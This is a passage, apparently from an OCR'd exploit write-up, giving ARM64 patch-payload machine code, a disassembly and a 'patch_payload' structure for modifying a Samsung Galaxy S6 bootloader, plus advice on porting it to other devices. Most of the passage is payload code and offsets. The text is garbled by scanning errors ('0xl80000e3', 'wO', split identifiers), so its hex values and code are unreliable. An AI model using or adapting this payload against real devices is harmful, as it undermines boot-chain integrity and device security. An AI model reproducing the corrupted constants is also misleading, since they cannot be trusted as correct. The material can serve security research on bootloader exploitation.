0xd2800018, //mov 
0xl80000e3 , //ldr 
0xl80000f 8 , //ldr 
0xl80000e0 , //ldr 
0xb9002aa0, //str 
0xd2800000, //mov 
0xa8d87bf d, //ldp 
0xd65f03c0, //ret 
0x00000000, 
0x00000000, 
0x00000000, 

} ; 


x23 , [sp, #48] 
xl9 , x20 , [sp, #16] 
x21, x22 , [sp,#32] 

x3 , #0x0 
x24, #0x0 

w3 , 43e00130 <total_size> 
w24 , 43e00134 <boot_end> 
wO, 43e00138 <dt_size> 
wO, [x21 , #40] 
xO, #0x0 

x29 , x30 , [sp] ,#384 


//total_size 
//boot_end 
/ /dt_size 


Therefore, the patch_payload structure for this Galaxy S6 example is defined as follows. 

{ . addr = 0x43e00100, 

. data = patch_data, 

. size = sizeof (patch_data) , 

. total_size_of f = 0x30, 

.boot_end_of f = 0x34, 

.dt_size_off = 0x3 8 } 


This should be all the necessary information to port to a new device. Typically the higher level profile 
structure is constant for a particular device, with the exception that the partition device can vary 
slightly between carriers. Typically the patch_data is also constant for a particular device but some 
minor variants have been seen. The most commonly modified value in the device profiles is the start 
address for patching branch instructions. 
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